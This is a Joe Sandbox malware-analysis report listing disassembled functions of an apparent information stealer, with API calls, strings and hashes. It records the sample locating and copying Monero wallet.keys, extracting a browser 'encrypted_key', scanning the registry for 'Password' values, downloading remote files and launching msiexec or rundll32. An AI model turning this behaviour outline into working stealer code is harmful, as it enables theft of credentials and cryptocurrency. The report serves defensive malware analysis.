Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 01266e0db6336fbc4f38a623b2c34a8668046e71155cd6bdbe898a42425eb2e4
Instruction ID: 4b115b609948a65518b51586a51c431004cc9aaa8bc349c1e797614fa0c4751c
Opcode Fuzzy Hash: 01266e0db6336fbc4f38a623b2c34a8668046e71155cd6bdbe898a42425eb2e4
Instruction Fuzzy Hash: C212ED7180010C9BDB1AEBA0DC92FEDB778AF34309F90415DE50666191EF74AB4ACF66

Function 001C52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001B6280: InternetOpenA.WININET(001D0DFE,00000001,00000000,00000000,00000000), ref: 001B62E1
Part of subcall function 001B6280: StrCmpCA.SHLWAPI(?,00EEE498), ref: 001B6303
Part of subcall function 001B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001B6335
Part of subcall function 001B6280: HttpOpenRequestA.WININET(00000000,GET,?,00EED8E8,00000000,00000000,00400100,00000000), ref: 001B6385
Part of subcall function 001B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001B63BF
Part of subcall function 001B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001B63D1

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001C5318
lstrlen.KERNEL32(00000000), ref: 001C532F

Part of subcall function 001C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001C8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 001C5364
lstrlen.KERNEL32(00000000), ref: 001C5383
lstrlen.KERNEL32(00000000), ref: 001C53AE

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Strings

ERROR, xrefs: 001C54A9
ERROR, xrefs: 001C5432
ERROR, xrefs: 001C530A
ERROR, xrefs: 001C546F
ERROR, xrefs: 001C53B9

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 77218fc700776970ab480eebfb93ee745dde0b26898ddafdcc426685b7f09fdd
Instruction ID: 6391f72279048c3bab0c0e343e8ad9612cc6c9ac15b5bac88833d9e5b04d7b6b
Opcode Fuzzy Hash: 77218fc700776970ab480eebfb93ee745dde0b26898ddafdcc426685b7f09fdd
Instruction Fuzzy Hash: 9751A67091014CABDB19FF60D996FED7779AF70305F90401CE40A9A592EF34AB46CBA2

Function 001C12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 4b4f5b2fc13d579ba134dae314063d3f0f65b55ac28b906f78fd25cfd93e526e
Instruction ID: 91151201e7aa55d3449372256949811296303c2edd4177416725183b071ee59c
Opcode Fuzzy Hash: 4b4f5b2fc13d579ba134dae314063d3f0f65b55ac28b906f78fd25cfd93e526e
Instruction Fuzzy Hash: 3DC16EB594021DABCB15EF60DC89FEA7378AF74304F00459DE50AA7291EB70EA85CF91

Function 001C4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001C8E0B

lstrcat.KERNEL32(?,00000000), ref: 001C42EC
lstrcat.KERNEL32(?,00EEDEE8), ref: 001C430B
lstrcat.KERNEL32(?,?), ref: 001C431F
lstrcat.KERNEL32(?,00EECE78), ref: 001C4333

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001C8D90: GetFileAttributesA.KERNEL32(00000000,?,001B1B54,?,?,001D564C,?,?,001D0E1F), ref: 001C8D9F

Part of subcall function 001B9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 001B9D39

Part of subcall function 001B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001B99EC
Part of subcall function 001B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001B9A11
Part of subcall function 001B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001B9A31
Part of subcall function 001B99C0: ReadFile.KERNEL32(000000FF,?,00000000,001B148F,00000000), ref: 001B9A5A
Part of subcall function 001B99C0: LocalFree.KERNEL32(001B148F), ref: 001B9A90
Part of subcall function 001B99C0: CloseHandle.KERNEL32(000000FF), ref: 001B9A9A

Part of subcall function 001C93C0: GlobalAlloc.KERNEL32(00000000,001C43DD,001C43DD), ref: 001C93D3

StrStrA.SHLWAPI(?,00EEDE10), ref: 001C43F3
GlobalFree.KERNEL32(?), ref: 001C4512

Part of subcall function 001B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001B4EEE,00000000,00000000), ref: 001B9AEF
Part of subcall function 001B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,001B4EEE,00000000,?), ref: 001B9B01
Part of subcall function 001B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001B4EEE,00000000,00000000), ref: 001B9B2A
Part of subcall function 001B9AC0: LocalFree.KERNEL32(?,?,?,?,001B4EEE,00000000,?), ref: 001B9B3F

lstrcat.KERNEL32(?,00000000), ref: 001C44A3
StrCmpCA.SHLWAPI(?,001D08D1), ref: 001C44C0
lstrcat.KERNEL32(00000000,00000000), ref: 001C44D2
lstrcat.KERNEL32(00000000,?), ref: 001C44E5
lstrcat.KERNEL32(00000000,001D0FB8), ref: 001C44F4

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 40e8fb3d46bcf40f0701cc18d26b1946a9fc329bff02fe1864e4f156cbe9a3c5
Instruction ID: 120390a5c39ae6c9f732a0808257e9021f4d52ed40c14a55ce33432cd1426546
Opcode Fuzzy Hash: 40e8fb3d46bcf40f0701cc18d26b1946a9fc329bff02fe1864e4f156cbe9a3c5
Instruction Fuzzy Hash: A27173B6900208ABCB15EBA0DC99FEE777DAF98304F00459CF60997181EB75DB45CBA1

Function 001B1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001B12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001B12B4
Part of subcall function 001B12A0: RtlAllocateHeap.NTDLL(00000000), ref: 001B12BB
Part of subcall function 001B12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001B12D7
Part of subcall function 001B12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001B12F5
Part of subcall function 001B12A0: RegCloseKey.ADVAPI32(?), ref: 001B12FF

lstrcat.KERNEL32(?,00000000), ref: 001B134F
lstrlen.KERNEL32(?), ref: 001B135C
lstrcat.KERNEL32(?,.keys), ref: 001B1377

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001C8B60: GetSystemTime.KERNEL32(001D0E1A,00EE99A0,001D05AE,?,?,001B13F9,?,0000001A,001D0E1A,00000000,?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001C8B86

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 001B1465

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001B99EC
Part of subcall function 001B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001B9A11
Part of subcall function 001B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001B9A31
Part of subcall function 001B99C0: ReadFile.KERNEL32(000000FF,?,00000000,001B148F,00000000), ref: 001B9A5A
Part of subcall function 001B99C0: LocalFree.KERNEL32(001B148F), ref: 001B9A90
Part of subcall function 001B99C0: CloseHandle.KERNEL32(000000FF), ref: 001B9A9A

DeleteFileA.KERNEL32(00000000), ref: 001B14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 001B1335
.keys, xrefs: 001B136B
wallet_path, xrefs: 001B1330
\Monero\wallet.keys, xrefs: 001B138D

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: e4d0fe7181e61d5e932bb68b854bbedf75d14b09885039576e61a816b4d86926
Instruction ID: 27a841c5b72ebfc0b3222687fadd4b5f2602f69680d687ccf2ba526a18fb9d75
Opcode Fuzzy Hash: e4d0fe7181e61d5e932bb68b854bbedf75d14b09885039576e61a816b4d86926
Instruction Fuzzy Hash: 7A5111B195011957CB16EB60DD96FED733CAF74305F80419CB60AA2081EF30AB89CAA6

Function 001B75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001B72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 001B733A
Part of subcall function 001B72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001B73B1
Part of subcall function 001B72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 001B740D
Part of subcall function 001B72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 001B7452
Part of subcall function 001B72D0: HeapFree.KERNEL32(00000000), ref: 001B7459

lstrcat.KERNEL32(00000000,001D17FC), ref: 001B7606
lstrcat.KERNEL32(00000000,00000000), ref: 001B7648
lstrcat.KERNEL32(00000000, : ), ref: 001B765A
lstrcat.KERNEL32(00000000,00000000), ref: 001B768F
lstrcat.KERNEL32(00000000,001D1804), ref: 001B76A0
lstrcat.KERNEL32(00000000,00000000), ref: 001B76D3
lstrcat.KERNEL32(00000000,001D1808), ref: 001B76ED
task.LIBCPMTD ref: 001B76FB

Strings

: , xrefs: 001B764E

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 519564d3e321d12d54fd4f0998ed70695587170dc4e91361be1b02f0a43fbdf2
Instruction ID: af4f5705d73433acc15fd457a23077cc32ec36c838f4e97ec22d2e3fbfba719a
Opcode Fuzzy Hash: 519564d3e321d12d54fd4f0998ed70695587170dc4e91361be1b02f0a43fbdf2
Instruction Fuzzy Hash: EC314CB2901509EFCB09EBB8DC95DFE777CBB54302F144118F106AB291DB34A946CB52

Function 001C8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00EEDCA8,00000000,?,001D0E2C,00000000,?,00000000), ref: 001C8130
RtlAllocateHeap.NTDLL(00000000), ref: 001C8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 001C8158
__aulldiv.LIBCMT ref: 001C8172
__aulldiv.LIBCMT ref: 001C8180
wsprintfA.USER32 ref: 001C81AC

Strings

@, xrefs: 001C814D
%d MB, xrefs: 001C81A3

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: e226ab64b30691003ec3b714a1a9853e1eb8577be634c41de5997c316c24abf0
Instruction ID: 7c289a3e6b03bbb279d36ecce83e1cc56f0e6a5878e7e51d80e415580d811be1
Opcode Fuzzy Hash: e226ab64b30691003ec3b714a1a9853e1eb8577be634c41de5997c316c24abf0
Instruction Fuzzy Hash: 65214DB1E44208ABDB00DFD4DC49FAEB7B8FB54B10F104219F605BB280D778A9018BA5

Function 001B60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001B4839
Part of subcall function 001B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001B4849

InternetOpenA.WININET(001D0DF7,00000001,00000000,00000000,00000000), ref: 001B610F
StrCmpCA.SHLWAPI(?,00EEE498), ref: 001B6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 001B618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 001B61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 001B61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 001B620A
CloseHandle.KERNEL32(?,?,00000400), ref: 001B6249
InternetCloseHandle.WININET(?), ref: 001B6253
InternetCloseHandle.WININET(00000000), ref: 001B6260

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 40ec34561c92e20a66a564ac16f8fa584fa0c4e5a3749a649d09f90bca28b9b4
Instruction ID: b61ed7d8c2bd8058db42dd87bef943314d86c69edc4476fbb3610d1f8f288118
Opcode Fuzzy Hash: 40ec34561c92e20a66a564ac16f8fa584fa0c4e5a3749a649d09f90bca28b9b4
Instruction Fuzzy Hash: 3D515DB1900218ABEB20DF90DC45FEE77B8EB54705F108098E609A7181DB78AA89CF95

Function 001B72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 001B733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001B73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 001B740D
GetProcessHeap.KERNEL32(00000000,?), ref: 001B7452
HeapFree.KERNEL32(00000000), ref: 001B7459
task.LIBCPMTD ref: 001B7555

Strings

Password, xrefs: 001B7401

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 309818f0c0db06d5db9b5a4a4c1d05736b5a9a57d8244c35cef840ad3c2ee11e
Instruction ID: 98becd3532a745a116274634cfe27636206a989ec54e89d8b5d1684a6ea9095a
Opcode Fuzzy Hash: 309818f0c0db06d5db9b5a4a4c1d05736b5a9a57d8244c35cef840ad3c2ee11e
Instruction Fuzzy Hash: 03611BB59041589BDB24DF50CC45BE9B7BCBF58340F0081E9E649A6281DBB06BC9CFA1

Function 001BBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

lstrlen.KERNEL32(00000000), ref: 001BBC9F

Part of subcall function 001C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001C8E52

